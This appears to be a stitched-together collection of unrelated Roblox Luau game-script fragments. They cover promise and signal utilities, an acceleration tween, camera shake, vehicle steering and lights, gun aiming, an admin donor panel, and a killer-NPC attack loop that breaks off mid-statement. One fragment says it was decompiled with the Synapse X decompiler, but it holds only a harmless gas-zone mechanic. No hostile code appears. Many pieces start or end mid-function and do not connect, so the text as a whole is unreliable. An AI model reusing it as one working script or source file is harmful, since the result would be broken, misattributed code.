local PlayerGui = player:FindFirstChild("PlayerGui") local TopBar = PlayerGui:FindFirstChild("TopBar") local TimerAndStatus = TopBar:FindFirstChild("TimerAndStatus") local StatusBar = TimerAndStatus:FindFirstChild("StatusBar") local GameStatus = StatusBar:FindFirstChild("GameStatus") local CheckpointFrame = script.Parent
--[[ Is the given object a Promise instance? ]]
function Promise.is(object) if type(object) ~= "table" then return false end local objectMetatable = getmetatable(object) if objectMetatable == Promise then -- The Promise came from this library. return true elseif objectMetatable == nil then -- No metatable, but we should still chain onto tables with andThen methods return type(object.andThen) == "function" elseif type(objectMetatable) == "table" and type(rawget(objectMetatable, "__index")) == "table" and type(rawget(rawget(objectMetatable, "__index"), "andThen")) == "function" then -- Maybe this came from a different or older Promise library. return true end return false end Promise.Is = Promise.is
--[=[ Sets the current and target position, and sets the velocity to 0. @prop pt number @within AccelTween ]=]
function AccelTween:__index(index) if AccelTween[index] then return AccelTween[index] elseif index == "p" then local pos, _ = self:_getstate(os.clock()) return pos elseif index == "v" then local _, vel = self:_getstate(os.clock()) return vel elseif index == "a" then return self._accel elseif index == "t" then return self._y1 elseif index == "rtime" then local time = os.clock() return time < self._t1 and self._t1 - time or 0 else error(("Bad index %q"):format(tostring(index))) end end function AccelTween:__newindex(index, value) if index == "p" then self:_setstate(value, nil, nil, nil) elseif index == "v" then self:_setstate(nil, value, nil, nil) elseif index == "a" then self:_setstate(nil, nil, value, nil) elseif index == "t" then self:_setstate(nil, nil, nil, value) elseif index == "pt" then self:_setstate(value, 0, nil, value) else error(("Bad index %q"):format(tostring(index))) end end function AccelTween:_getstate(time) if time < (self._t0 + self._t1)/2 then local t = time - self._t0 return self._y0 + t*t/2*self._a0, t*self._a0 elseif time < self._t1 then local t = time - self._t1 return self._y1 + t*t/2*self._a1, t*self._a1 else return self._y1, 0 end end function AccelTween:_setstate(newpos, newvel, newaccel, newtarg) local time = os.clock() local pos, vel = self:_getstate(time) pos = newpos or pos vel = newvel or vel self._accel = newaccel or self._accel local targ = newtarg or self._y1 if self._accel*self._accel < 1e-8 then self._t0, self._y0, self._a0 = 0, pos, 0 self._t1, self._y1, self._a1 = math.huge, targ, 0 else local conda = targ < pos local condb = vel < 0 local condc = pos - vel*vel/(2*self._accel) < targ local condd = pos + vel*vel/(2*self._accel) < targ if conda and condb and condc or not conda and (condb or not condb and condd) then self._a0 = self._accel self._t1 = time + ((2*vel*vel + 4*self._accel*(targ - pos))^0.5 - vel)/self._accel else self._a0 = -self._accel self._t1 = time + ((2*vel*vel - 4*self._accel*(targ - pos))^0.5 + vel)/self._accel end self._t0 = time - vel/self._a0 self._y0 = pos - vel*vel/(2*self._a0) self._y1 = targ self._a1 = -self._a0 end end return AccelTween
-- METHODS
function Signal:Fire(...) self._bindableEvent:Fire(...) end function Signal:Connect(handler) if not (type(handler) == "function") then error(("connect(%s)"):format(typeof(handler)), 2) end local connection = self._bindableEvent.Event:Connect(function(...) handler(...) end) -- If ``true`` is passed for trackConnectionsChanged within the constructor this will track the amount of active connections if self.connectionsChanged then self.totalConnections += 1 self.connectionsChanged:Fire(1) local heartbeatConection heartbeatConection = game:GetService("RunService").Heartbeat:Connect(function() if connection.Connected == false then heartbeatConection:Disconnect() if self.connectionsChanged then self.totalConnections -= 1 self.connectionsChanged:Fire(-1) end end end) end return connection end function Signal:Wait() local args = self._bindableEvent.Event:Wait() return unpack(args) end function Signal:Destroy() if self._bindableEvent then self._bindableEvent:Destroy() self._bindableEvent = nil end if self.connectionsChanged then self.connectionsChanged:Fire(-self.totalConnections) self.connectionsChanged:Destroy() self.connectionsChanged = nil self.totalConnections = 0 end end Signal.destroy = Signal.Destroy Signal.Disconnect = Signal.Destroy Signal.disconnect = Signal.Destroy return Signal
--[=[ Apply an inverse square intensity multiplier to the given vector based on the distance away from some source. This can be used to simulate shake intensity based on the distance the shake is occurring from some source. For instance, if the shake is caused by an explosion in the game, the shake can be calculated as such: ```lua local function Explosion(positionOfExplosion: Vector3) local cam = workspace.CurrentCamera local renderPriority = Enum.RenderPriority.Last.Value local shake = Shake.new() -- Set shake properties here local function ExplosionShake(pos: Vector3, rot: Vector3) local distance = (cam.CFrame.Position - positionOfExplosion).Magnitude pos = Shake.InverseSquare(pos, distance) rot = Shake.InverseSquare(rot, distance) cam.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z) end shake:BindToRenderStep("ExplosionShake", renderPriority, ExplosionShake) end ``` ]=]
function Shake.InverseSquare(shake: Vector3, distance: number): Vector3 if distance < 1 then distance = 1 end local intensity = 1 / (distance * distance) return shake * intensity end
--// NPC
local NPCS = game.Workspace:WaitForChild("NPCS")
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local l__Character__2 = l__LocalPlayer__1.Character; local l__Gas__3 = l__LocalPlayer__1:WaitForChild("Data"):WaitForChild("Gas"); local l__Gas__4 = workspace:WaitForChild("Gas"); ts = game:GetService("TweenService"); ti2 = TweenInfo.new(3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false, 0); while wait(0.4) do for v5, v6 in pairs(l__Gas__4:GetDescendants()) do if v6.ClassName == "Part" then v6.Transparency = 1; local v7 = false; for v8, v9 in pairs((workspace:FindPartsInRegion3WithWhiteList(Region3.new(v6.Position - v6.Size / 2, v6.Position + v6.Size / 2), game.Players.LocalPlayer.Character:GetDescendants()))) do if not v9:FindFirstAncestor(game.Players.LocalPlayer.Name) then v7 = false; break; end; v7 = true; end; if v7 == true and l__Character__2.Human.Value == true then l__Gas__3.Value = l__Gas__3.Value - 0.1; end; end; end; end;
-- Connect 'MoveToFinished' event to the 'onWaypointReached' function
human.MoveToFinished:Connect(onWaypointReached)
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") ContentProvider = game:GetService("ContentProvider") Animations = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") ClientControl.OnClientInvoke = (function(Mode, Value) if Mode == "PlayAnimation" and Humanoid then for i, v in pairs(Animations) do if v.Animation == Value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(Value.Animation) table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed) elseif Mode == "StopAnimation" and Value then for i, v in pairs(Animations) do if v.Animation == Value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end elseif Mode == "Preload" and Value then ContentProvider:Preload(Value) elseif Mode == "PlaySound" and Value then Value:Play() elseif Mode == "StopSound" and Value then Value:Stop() elseif Mode == "MousePosition" then return PlayerMouse.Hit.p end end) function InvokeServer(Mode, Value) pcall(function() local ServerReturn = ServerControl:InvokeServer(Mode, Value) return ServerReturn end) end function CheckIfAlive() return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() InvokeServer("MouseClick", {Down = true}) end) Mouse.Button1Up:connect(function() InvokeServer("MouseClick", {Down = false}) end) Mouse.KeyDown:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = true}) end) Mouse.KeyUp:connect(function(Key) InvokeServer("KeyPress", {Key = Key, Down = false}) end) end function Unequipped() for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end Animations = {} end Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- ROBLOX deviation START: No Luau support for numeric literal types -- export type EventPriority = 0 | 1 | 2;
export type EventPriority = number
---Steering
function Steering() local mode=0 local TUpdate=tick() local Steer=0 local CSteer=0 local CSteerTol=3 local CSteerPerc=.3 local CPos=0 local KRef=0 local KTime=1 local FoAngle=math.rad(34) local FiAngle=math.rad(37) local RoAngle=math.rad(1) local RiAngle=math.rad(1) local RTime=.25 local MWidth=400 local MExp=2 local KAdj=.7 local KDecay=350 local KDExp=1.65 local DZone=50 local CExp=2 local CDZone=.1 local function UpdateSteer() local fl=FoAngle local fr=FiAngle local rl=RoAngle local rr=RiAngle if CPos<0 then fl=FiAngle fr=FoAngle rl=RiAngle rr=RoAngle end for i,v in pairs(car.Wheels.FL:GetChildren()) do --v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*-fl,0) v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*-fl,0) local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*50000 end for i,v in pairs(car.Wheels.FR:GetChildren()) do --v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*-fr,0) v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*-fr,0) local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*50000 end for i,v in pairs(car.Wheels.RL:GetChildren()) do --v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*rl,0) v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*rl,0) local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*00000 end for i,v in pairs(car.Wheels.RR:GetChildren()) do --v.Arm.Weld.C0=CFrame.new()*CFrame.Angles(0,(CPos+(CSteer*CSteerPerc))*rr,0) v.Arm.Steer.cframe=v.Base.CFrame*CFrame.Angles(0,(CPos)*rr,0) local look = (v.Base.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector v.Arm.Steer.MaxTorque=Vector3.new(math.abs(look.x),math.abs(look.y),math.abs(look.z))*00000 end GSteer=CPos end local function getSteer() --local rot=(car.DriveSeat.RotVelocity*(car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector)/CSteerTol --local CS=rot.x+rot.y+rot.z --CSteer=(CS+Steer)*(1-math.abs(Steer)) local SLimit=1 if GMode==0 then Steer=car.DriveSeat.Steer elseif GMode==1 then --SLimit=0 local MPos=mouse.X-(mouse.ViewSizeX/2) if math.abs(MPos)>DZone then local sPos=1 if MPos<0 then sPos=-1 end Steer=sPos*math.abs(math.max(-1,math.min(1,(MPos-(DZone*sPos))/(MWidth-DZone)))^MExp) else Steer=0 end else --SLimit=0 if math.abs(LStickX)>CDZone then local sPos=1 if LStickX<0 then sPos=-1 end Steer=sPos*math.abs(math.max(-1,math.min(1,((LStickX-CDZone))/(1-CDZone)))^CExp) else Steer=0 end end KRef=CPos KTime=math.abs(KRef-Steer)*RTime if KTime~=0 then local t=math.min(1,math.min(tick()-TUpdate,KTime)/KTime) CPos=((KRef*(1-t))+(Steer*t))*(1-(KAdj*math.min(1,math.abs((car.DriveSeat.Velocity.Magnitude/KDecay)^KDExp),SLimit))) end UpdateSteer() TUpdate=tick() end --run:BindToRenderStep("Steer",Enum.RenderPriority.Last.Value,getSteer) --table.insert(Binded,"Steer") --table.insert(Binded,getSteer) table.insert(LoopRun,getSteer) end Steering()
---
if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true) end script.Parent.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.Parent.IsOn.Value then script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true) end end) function turn() if hinge.DesiredAngle == 0 then car.Misc.Wiper2.WiperEvent:FireServer(1) else car.Misc.Wiper2.WiperEvent:FireServer(0) end end script.Parent.MouseButton1Click:connect(function() turn() end) local uis = game:GetService("UserInputService") uis.InputBegan:connect(function(i,f) if not f then if i.KeyCode == Enum.KeyCode.N then turn() end end end)
--!strict
local RunService = game:GetService("RunService") local model = script.Parent local cloth = model:FindFirstChild("Plane") local physicsParts = model:WaitForChild("Parts") local A4P = physicsParts:FindFirstChild("A4") local bones : {Bone} = {} local function indexBones() for iterator, bone : Bone in cloth:GetDescendants() do if bone:IsA("Bone") then table.insert(bones, bone) end if iterator%50 == 0 then task.wait() end end end indexBones()
--------------------[ ADS FUNCTIONS ]-------------------------------------------------
function aimGun() if Reloading or Knifing or isCrawling or (not S.canADS) then return end mouseSensitivity = aimSensitivity for _, Plugin in pairs(Plugins.Aimed) do spawn(function() Plugin() end) end Aimed = true Aiming = true Running = false spreadZoom = "Aimed" baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] if S.aimSettings.Anim then local currentFOV = Cam.FieldOfView local currentTrans = Scope.BackgroundTransparency tweenJoint(LWeld, armC0[1], S.aimedC1.leftArm, Sine, S.aimSettings.Speed) tweenJoint(RWeld, armC0[2], S.aimedC1.rightArm, Sine, S.aimSettings.Speed) tweenJoint(LWeld2, nil, CF(), Sine, S.aimSettings.Speed) tweenJoint(RWeld2, nil, CF(), Sine, S.aimSettings.Speed) tweenJoint(Grip, nil, aimedGripCF, Sine, S.aimSettings.Speed) tweenJoint(headWeld2, nil, CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0), Sine, S.aimSettings.Speed) local t0 = tick() while true do RS.RenderStepped:wait() local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90 if (not Aimed) then break end if (not Selected) then break end aimAlpha = Sine(Alpha) aimHeadOffset = headOffset.X * aimAlpha jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha) translationDivisor = numLerp(7, 20, aimAlpha) rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha) armTiltMultiplier = numLerp(1, 0.2, aimAlpha) Cam.FieldOfView = numLerp(currentFOV, S.aimSettings.FOV, aimAlpha) if S.guiScope then Scope.BackgroundTransparency = numLerp(currentTrans, 0, aimAlpha) end if Alpha == 90 then break end end else LWeld.C0, LWeld.C1 = armC0[1], S.aimedC1.leftArm RWeld.C0, RWeld.C1 = armC0[2], S.aimedC1.rightArm LWeld2.C1, RWeld2.C1 = CF(), CF() animWeld.C0 = CF(0, 1, 0) Grip.C1 = aimedGripCF headWeld2.C1 = CF(0, -0.5, 0) * CFANG(0, 0, S.aimSettings.headTilt) * CF(0, 0.5, 0) aimAlpha = 1 aimHeadOffset = headOffset.X jumpAnimMultiplier = S.fallSettings.aimEffect translationDivisor = 20 rotationMultiplier = S.momentumSettings.Amplitude.Aimed armTiltMultiplier = 0.2 Cam.FieldOfView = S.aimSettings.FOV end Aiming = (not Aimed) if (not Aiming) and S.guiScope then spawn(function() scopeSteady.Visible = true Scope.BackgroundTransparency = 1 scopeMain.Visible = true if armTable then for _, Obj in pairs(armTable[1].Model:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 1 end end for _, Obj in pairs(armTable[2].Model:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 1 end end elseif armModel then for _, Obj in pairs(armModel:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 1 end end end for _, Obj in pairs(playerFolder:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 1 end end for _, Obj in pairs(Gun:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 1 end end end) spawn(function() local camAng = 0 local idleCam = function() return V3( RAD(SIN(camAng * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling, RAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Idling)) * stanceSway * camSway * S.scopeSettings.Amplitude.Idling * 0.75, 0 ) end local walkCam = function() return V3( RAD(SIN(camAng * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking, RAD(SIN(camAng * 5 / 2 * S.scopeSettings.Frequency.Walking)) * camSway * stanceSway * S.scopeSettings.Amplitude.Walking * 0.75, 0 ) end while Aimed do local dt = RS.RenderStepped:wait() camOffsets.guiScope.Rot = (Sine(idleAlpha) * idleCam()) + (Sine(walkAlpha) * walkCam()) camAng = camAng + RAD(105 * dt) * stanceSway * camSway end end) end end function unAimGun(Exception) if (not S.canADS) then return end mouseSensitivity = S.sensitivitySettings.Default for _, Plugin in pairs(Plugins.UnAimed) do spawn(function() Plugin() end) end if S.guiScope then spawn(function() if armTable then for _, Obj in pairs(armTable[1].Model:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 0 end end for _, Obj in pairs(armTable[2].Model:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 0 end end elseif armModel then for _, Obj in pairs(armModel:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 0 end end end for _, Obj in pairs(playerFolder:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 0 end end for _, Obj in pairs(Gun:GetChildren()) do if Obj:IsA("BasePart") then Obj.LocalTransparencyModifier = 0 end end end) end if (not Exception) then if (not Aimed) then return end if (Reloading and Exception) or Knifing then return end spreadZoom = "unAimed" baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] Aimed = false Aiming = true if S.aimSettings.Anim then local currentFOV = Cam.FieldOfView local currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency) scopeMain.Visible = false scopeSteady.Visible = false tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, S.aimSettings.Speed) tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, S.aimSettings.Speed) tweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed) tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, S.aimSettings.Speed) local t0 = tick() while true do RS.RenderStepped:wait() local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90 if Aimed then break end if (not Selected) then break end aimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(X)) aimHeadOffset = headOffset.X * aimAlpha jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha) translationDivisor = numLerp(7, 20, aimAlpha) rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha) armTiltMultiplier = numLerp(1, 0.2, aimAlpha) Cam.FieldOfView = numLerp(80, currentFOV, aimAlpha) Scope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha) if Alpha == 90 then break end end else scopeMain.Visible = false scopeSteady.Visible = false LWeld.C0, LWeld.C1 = armC0[1], S.unAimedC1.leftArm RWeld.C0, RWeld.C1 = armC0[2], S.unAimedC1.rightArm headWeld2.C0 = CF() Grip.C1 = S.unAimedC1.Grip aimAlpha = 0 aimHeadOffset = 0 jumpAnimMultiplier = 1 translationDivisor = 7 rotationMultiplier = S.momentumSettings.Amplitude.unAimed armTiltMultiplier = 1 Cam.FieldOfView = 80 Scope.BackgroundTransparency = 1 end Aiming = Aimed else spawn(function() Aimed = false Aiming = false spreadZoom = "unAimed" baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion] local currentFOV = Cam.FieldOfView local currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency) scopeMain.Visible = false scopeSteady.Visible = false tweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed) if S.aimSettings.Anim then local t0 = tick() while true do RS.RenderStepped:wait() local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90 if Aimed then break end if (not Selected) then break end aimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(90 - Alpha)) aimHeadOffset = headOffset.X * aimAlpha jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha) translationDivisor = numLerp(7, 20, aimAlpha) rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha) armTiltMultiplier = numLerp(1, 0.2, aimAlpha) Cam.FieldOfView = numLerp(80, currentFOV, aimAlpha) Scope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha) if Alpha == 90 then break end end else scopeMain.Visible = false scopeSteady.Visible = false aimAlpha = 0 aimHeadOffset = 0 jumpAnimMultiplier = 1 translationDivisor = 7 rotationMultiplier = S.momentumSettings.Amplitude.unAimed armTiltMultiplier = 1 Cam.FieldOfView = 80 Scope.BackgroundTransparency = 1 end end) end end
-- declarations
local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") Humanoid.Health=200
-- << FUNCTIONS >>
function module:SetupDonorCommands() main:GetModule("PageCommands"):SetupCommands(donorCommands, pages.donor, 0) module:UpdateDonorFrame() end function module:UpdateDonorFrame() if main.pdata.Donor then unlockDonor.Visible = false else unlockDonor.Visible = true end pages.donor.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1) end return module
-- Testing AC FE support
local event = script.Parent local car=script.Parent.Parent local LichtNum = 0 event.OnServerEvent:connect(function(player,data) if data['ToggleLight'] then if car.Body.Light.on.Value==true then car.Body.Light.on.Value=false else car.Body.Light.on.Value=true end elseif data['EnableBrakes'] then car.Body.Brakes.on.Value=true elseif data['DisableBrakes'] then car.Body.Brakes.on.Value=false elseif data['ToggleLeftBlink'] then if car.Body.Left.on.Value==true then car.Body.Left.on.Value=false else car.Body.Left.on.Value=true end elseif data['ToggleRightBlink'] then if car.Body.Right.on.Value==true then car.Body.Right.on.Value=false else car.Body.Right.on.Value=true end elseif data['ReverseOn'] then car.Body.Reverse.on.Value=true elseif data['ReverseOff'] then car.Body.Reverse.on.Value=false elseif data['ToggleStandlicht'] then if LichtNum == 0 then LichtNum = 2 car.Body.Headlight.on.Value = true elseif LichtNum == 1 then LichtNum = 2 car.Body.Headlight.on.Value = true elseif LichtNum == 2 then LichtNum = 3 car.Body.Highlight.on.Value = true elseif LichtNum == 3 then LichtNum = 1 car.Body.Highlight.on.Value = false car.Body.Headlight.on.Value = false end elseif data["ToggleHazards"] then if car.Body.hazards.Value == false then car.Body.hazards.Value = true wait(.35) car.Body.Left.on.Value=false car.Body.Right.on.Value=false wait(.35) car.Body.Left.on.Value=true car.Body.Right.on.Value=true elseif car.Body.hazards.Value == true then car.Body.hazards.Value = false car.Body.Left.on.Value=false car.Body.Right.on.Value=false end end end)
----------------- --| Constants |-- -----------------
local SHOT_SPEED = 550 local SHOT_TIME = 0.6 local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1) local DEBOUNCE_TAG_NAME = 'Busy'
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]-- --[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]-- --[[end;]]
-- local JeffTheKillerHumanoid; for _,Child in pairs(JeffTheKiller:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then JeffTheKillerHumanoid=Child; end; end; local AttackDebounce=false; local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife"); local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head"); local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart"); local WalkDebounce=false; local Notice=false; local JeffLaughDebounce=false; local MusicDebounce=false; local NoticeDebounce=false; local ChosenMusic; JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0); local OriginalC0=JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0; function FindNearestBae() local NoticeDistance=100; local TargetMain; for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then local TargetPart=TargetModel:FindFirstChild("Torso"); local FoundHumanoid; for _,Child in pairs(TargetModel:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then FoundHumanoid=Child; end; end; if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then TargetMain=TargetPart; NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude; local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500) if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then Spawn(function() AttackDebounce=true; local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing")); local SwingChoice=math.random(1,2); local HitChoice=math.random(1,3); SwingAnimation:Play(); SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1)); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing"); SwingSound.Pitch=1+(math.random()*0.04); SwingSound:Play(); end; Wait(0.3); if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then FoundHumanoid:TakeDamage(999); if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3"); HitSound.Pitch=1+(math.random()*0.04); HitSound:Play(); end; end; Wait(0.1); AttackDebounce=false; end); end; end; end; end; end; return TargetMain; end; while Wait(0)do local TargetPoint=JeffTheKillerHumanoid.TargetPoint; local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller}) local Jumpable=false; if Blockage then Jumpable=true; if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then local BlockageHumanoid; for _,Child in pairs(Blockage.Parent:GetChildren())do if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then BlockageHumanoid=Child; end; end; if Blockage and Blockage:IsA("Terrain")then local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0))); local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z); if CellMaterial==Enum.CellMaterial.Water then Jumpable=false; end; elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then Jumpable=false; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then JeffTheKillerHumanoid.Jump=true; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then Spawn(function() WalkDebounce=true; local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0)); local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller); if RayTarget then local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone(); JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead; JeffTheKillerHeadFootStepClone:Play(); JeffTheKillerHeadFootStepClone:Destroy(); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and 